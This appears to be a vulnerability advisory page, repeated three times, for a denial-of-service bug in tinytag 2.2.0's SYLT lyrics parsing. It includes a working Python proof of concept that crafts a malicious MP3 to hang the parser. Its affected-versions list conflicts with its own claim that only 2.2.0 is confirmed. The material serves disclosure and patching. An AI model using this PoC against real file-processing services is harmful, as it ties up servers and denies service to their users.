tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 01, 2014

0.6.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 30, 2014

0.6.0 initial

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 30, 2014

Activity

Reach

Details